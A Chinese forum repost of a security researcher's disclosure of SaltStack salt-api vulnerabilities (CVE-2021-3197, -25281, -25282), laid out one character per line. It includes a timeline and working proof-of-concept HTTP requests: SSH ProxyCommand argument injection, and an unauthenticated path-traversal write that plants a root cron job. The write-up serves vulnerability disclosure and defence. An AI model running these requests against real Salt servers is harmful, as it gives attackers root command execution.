论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[28797] 2021-03-11_SaltStackAPI漏洞
文档创建者：
s7ckTeam
浏览次数：
2
最后更新：
2025-01-19
漏洞
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-03-11_SaltStackAPI漏洞
S
a
l
t
S
t
a
c
k
A
P
I
漏
洞
O
t
s
安
全
2
0
2
1
-
0
3
-
1
1
C
V
E
-
2
0
2
1
-
3
1
9
7
，
C
V
E
-
2
0
2
1
-
2
5
2
8
1
和
C
V
E
-
2
0
2
1
-
2
5
2
8
2
的
详
细
信
息
在
2
0
2
0
年
1
1
月
，
看
到
针
对
S
a
l
t
A
P
I
的
预
认
证
R
C
E
（
C
V
E
-
2
0
2
0
-
1
6
8
4
6
，
C
V
E
-
2
0
2
0
-
2
5
5
9
2
）
被
删
除
后
，
我
想
找
到
自
己
的
A
P
I
。
查
看
C
V
E
-
2
0
2
0
-
1
6
8
4
6
的
补
丁
，
您
会
发
现
他
们
添
加
了
一
个
_
s
p
l
i
t
_
c
m
d
将
参
数
拆
分
为
列
表
的
函
数
，
并
删
除
了
该
s
h
e
l
l
=
T
r
u
e
选
项
的
使
用
。
尽
管
这
在
防
止
通
过
外
壳
元
字
符
注
入
命
令
方
面
很
有
效
，
但
仍
然
允
许
攻
击
者
为
s
s
h
命
令
指
定
任
意
参
数
。
通
过
在
任
何
P
O
S
T
的
s
s
h
参
数
之
后
添
加
S
S
H
选
项
-
例
如
参
数
注
入
可
以
转
换
为
任
意
命
令
执
行
。
％
0
9
是
用
于
分
隔
的
制
表
符
，
但
是
％
2
0
同
样
适
用
。
最
终
成
为
C
V
E
-
2
0
2
1
-
3
1
9
7
。
该
修
补
程
序
版
本
在
传
递
给
S
S
H
的
参
数
中
添
加
了
区
分
大
小
写
的
“
P
r
o
x
y
C
o
m
m
a
n
d
”
检
查
。
不
幸
的
是
，
针
对
C
V
E
-
2
0
2
0
-
2
5
5
9
2
的
1
1
月
修
补
程
序
仅
进
行
了
该
调
用
后
身
份
验
证
，
因
此
我
浏
览
了
可
以
传
递
给
/
r
u
n
端
点
的
其
他
“
客
户
端
”
。
事
实
证
明
，
w
h
e
e
l
_
a
s
y
n
c
仍
可
以
使
用
预
身
份
验
证
（
分
配
的
C
V
E
-
2
0
2
1
-
2
5
2
8
1
）
。
这
样
就
可
以
运
行
任
意
的
车
轮
模
块
。
快
速
浏
览
这
些
内
容
后
，
我
发
现
该
p
i
l
l
a
r
_
r
o
o
t
s
.
w
r
i
t
e
功
能
可
用
于
通
过
路
径
遍
历
（
分
配
给
C
V
E
-
2
0
2
1
-
2
5
2
8
2
）
在
主
机
上
写
入
任
意
文
件
。
有
趣
的
是
，
这
与
函
数
f
i
l
e
_
r
o
o
t
s
.
w
r
i
t
e
非
常
相
似
，
该
函
数
（
我
后
来
意
识
到
）
固
定
在
中
C
V
E
-
2
0
2
0
-
1
1
6
5
2
。
直
到
我
报
告
为
止
，
p
o
s
t
e
r
_
r
o
o
t
s
变
体
仍
未
修
复
。
由
于
默
认
的
U
b
u
n
t
u
S
a
l
t
（
在
我
的
测
试
环
境
中
）
安
装
是
作
为
r
o
o
t
用
户
运
行
的
，
因
此
将
其
转
换
为
代
码
执
行
的
最
简
单
方
法
是
编
写
c
r
o
n
t
a
b
。
我
及
时
擦
干
了
手
，
并
将
漏
洞
报
告
发
送
给
了
S
a
l
t
。
但
是
，
查
看
补
丁
说
明
后
，
我
发
现
有
一
种
更
好
的
利
用
它
的
方
法
-
腾
讯
云
顶
安
全
实
验
室
发
现
的
C
V
E
-
2
0
2
1
-
2
5
2
8
3
。
有
关
其
方
法
的
更
多
详
细
信
息
，
请
参
见
此
处
。
很
不
错
！
时
间
线
时
间
线
在
查
看
了
最
后
一
组
漏
洞
的
补
丁
之
后
，
总
共
花
费
了
几
个
小
时
才
能
找
到
这
些
漏
洞
。
我
于
2
0
2
0
年
1
1
月
2
7
日
将
其
报
告
给
S
a
l
t
。
S
a
l
t
的
目
标
是
2
月
4
日
发
布
，
但
是
这
次
失
败
了
，
他
们
最
终
于
2
月
2
5
日
发
布
补
丁
程
序
并
发
布
了
公
告
，
大
约
在
我
报
告
了
漏
洞
之
后
的
9
0
天
。
细
节
：
细
节
：
这
是
我
发
送
给
S
a
l
t
的
报
告
的
副
本
。
补
丁
：
补
丁
：
h
t
t
p
s
:
/
/
g
i
t
l
a
b
.
c
o
m
/
s
a
l
t
s
t
a
c
k
/
o
p
e
n
/
s
a
l
t
-
p
a
t
c
h
e
s
/
-
/
b
l
o
b
/
m
a
s
t
e
r
/
p
a
t
c
h
e
s
/
2
0
2
0
/
0
9
/
0
2
/
3
0
0
2
.
p
a
t
c
h
#
L
3
2
s
s
h
_
p
o
r
t
=
2
2
2
2
%
0
9
-
o
%
2
0
P
r
o
x
y
C
o
m
m
a
n
d
=
"
t
o
u
c
h
%
2
0
/
t
m
p
/
r
c
e
"
A
u
t
h
e
n
t
i
c
a
t
e
d
a
r
g
u
m
e
n
t
i
n
j
e
c
t
i
o
n
i
n
n
e
t
a
p
i
s
a
l
t
-
a
p
i
S
S
H
c
l
i
e
n
t
T
h
e
f
i
x
f
o
r
C
V
E
-
2
0
2
0
-
1
6
8
4
6
e
s
c
a
p
e
s
t
h
e
i
n
p
u
t
t
o
t
h
e
n
e
t
a
p
i
s
s
h
c
l
i
e
n
t
.
H
o
w
e
v
e
r
a
n
a
t
t
a
c
k
e
r
c
a
n
s
t
i
l
l
i
n
j
e
c
t
a
r
g
u
m
e
n
t
s
u
s
i
n
g
t
h
e
%
0
9
(
t
a
b
)
c
h
a
r
a
c
t
e
r
,
w
h
i
c
h
a
r
e
p
a
s
s
e
d
t
h
r
o
u
g
h
t
o
S
S
H
i
n
v
o
c
a
t
i
o
n
s
.
F
o
r
e
x
a
m
p
l
e
,
t
h
e
f
o
l
l
o
w
i
n
g
r
e
q
u
e
s
t
w
i
l
l
c
r
e
a
t
e
t
h
e
P
O
S
T
/
r
u
n
H
T
T
P
/
1
.
1
H
o
s
t
:
1
9
2
.
1
6
8
.
2
0
0
.
1
2
9
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
1
6
5
c
l
i
e
n
t
=
s
s
h
&
r
o
s
t
e
r
=
&
t
g
t
=
*
&
f
u
n
=
t
e
s
t
.
p
i
n
g
&
s
s
h
_
u
s
e
r
=
t
e
s
t
1
2
3
&
s
s
h
_
p
o
r
t
=
2
2
2
2
%
0
9
-
o
%
2
0
P
r
o
x
y
C
o
m
m
a
n
d
=
"
t
o
u
c
h
%
2
0
/
t
m
p
/
r
c
e
"
&
s
s
h
_
p
r
i
v
=
a
s
`
i
d
`
d
f
&
e
a
u
t
h
=
p
a
m
&
u
s
e
r
n
a
m
e
=
u
s
e
r
&
p
a
s
s
w
o
r
d
=
u
s
e
r
T
h
i
s
e
n
d
s
u
p
e
x
e
c
u
t
i
n
g
t
h
e
c
o
m
m
a
n
d
:
s
s
h
1
9
2
.
1
6
8
.
2
0
0
.
1
3
1
-
o
K
b
d
I
n
t
e
r
a
c
t
i
v
e
A
u
t
h
e
n
t
i
c
a
t
i
o
n
=
n
o
-
o
P
a
s
s
w
o
r
d
A
u
t
h
e
n
t
i
c
a
t
i
o
n
=
y
e
s
-
o
G
S
S
A
P
I
A
u
t
h
e
n
t
i
c
a
t
i
o
n
=
n
o
-
o
C
o
n
n
e
c
t
T
i
m
e
o
u
t
=
6
5
-
o
P
o
r
t
=
2
2
2
2
-
o
P
r
o
x
y
C
o
m
m
a
n
d
=
t
o
u
c
h
/
t
m
p
/
r
c
e
-
o
I
d
e
n
t
i
t
y
F
i
l
e
=
a
s
d
f
-
o
U
s
e
r
=
u
s
e
r
/
b
i
n
/
s
h
<
<
w
h
i
c
h
e
x
e
c
u
t
e
s
t
h
e
c
o
m
m
a
n
d
t
h
r
o
u
g
h
t
h
e
P
r
o
x
y
C
o
m
m
a
n
d
a
r
g
u
m
e
n
t
t
o
S
S
H
.
O
t
h
e
r
p
a
r
a
m
e
t
e
r
s
p
a
s
s
e
d
t
h
r
o
u
g
h
a
r
e
a
l
s
o
v
u
l
n
e
r
a
b
l
e
s
u
c
h
a
s
s
s
h
_
p
r
i
v
a
n
d
s
s
h
_
u
s
e
r
,
a
s
l
o
n
g
a
s
t
h
e
y
a
r
e
n
o
t
d
e
f
i
n
e
d
a
l
r
e
a
d
y
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
U
n
a
u
t
h
e
n
t
i
c
a
t
e
d
a
r
b
i
t
r
a
r
y
f
i
l
e
w
r
i
t
e
i
n
s
a
l
t
-
a
p
i
T
h
e
w
h
e
e
l
_
a
s
y
n
c
c
l
i
e
n
t
d
o
e
s
n
o
t
c
h
e
c
k
f
o
r
a
u
t
h
e
n
t
i
c
a
t
i
o
n
w
h
e
n
i
t
i
s
c
a
l
l
e
d
.
T
h
i
s
a
l
l
o
w
s
a
n
a
r
b
i
t
r
a
r
y
f
i
l
e
w
r
i
t
e
i
n
c
o
n
j
u
n
c
t
i
o
n
w
i
t
h
a
p
a
t
h
t
r
a
v
e
r
s
a
l
i
n
t
h
e
p
i
l
l
a
r
_
r
o
o
t
s
.
w
r
i
t
e
f
u
n
c
t
i
o
n
.
A
s
t
h
e
s
a
l
t
-
m
a
s
t
e
r
r
u
n
s
P
O
C
:
-
-
P
O
S
T
/
r
u
n
H
T
T
P
/
1
.
1
H
o
s
t
:
1
9
2
.
1
6
8
.
2
0
0
.
1
2
9
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
1
8
7
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
j
s
o
n
;
c
h
a
r
s
e
t
=
U
T
F
-
8
{
"
t
o
k
e
n
"
:
"
1
"
,
"
c
l
i
e
n
t
"
:
"
w
h
e
e
l
_
a
s
y
n
c
"
,
"
f
u
n
"
:
"
p
i
l
l
a
r
_
r
o
o
t
s
.
w
r
i
t
e
"
,
"
a
r
g
"
:
[
]
,
"
k
w
a
r
g
"
:
{
"
d
a
t
a
"
:
"
*
*
*
*
*
r
o
o
t
/
b
i
n
/
b
a
s
h
-
c
"
t
o
u
c
h
/
t
m
p
/
r
c
e
4
"
n
"
,
"
p
a
t
h
"
:
"
.
.
/
.
.
/
.
.
/
.
.
/
e
t
c
/
c
r
o
n
.
d
/
s
a
l
t
r
c
e
4
"
}
}
-
-
A
f
t
e
r
a
m
i
n
u
t
e
,
c
h
e
c
k
i
n
/
t
m
p
/
f
o
r
t
h
e
r
c
e
4
f
i
l
e
,
w
h
i
c
h
s
h
o
u
l
d
h
a
v
e
b
e
e
n
c
r
e
a
t
e
d
b
y
t
h
e
c
r
o
n
t
a
b
.
T
h
e
r
e
a
r
e
p
r
o
b
a
b
l
y
o
t
h
e
r
w
a
y
s
t
o
e
x
p
l
o
i
t
t
h
i
s
f
i
l
e
w
r
i
t
e
t
o
o
b
t
a
i
n
c
o
d
e
e
x
e
c
u
t
i
o
n
.
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
浏览过的版块
代码执行
发表
漏洞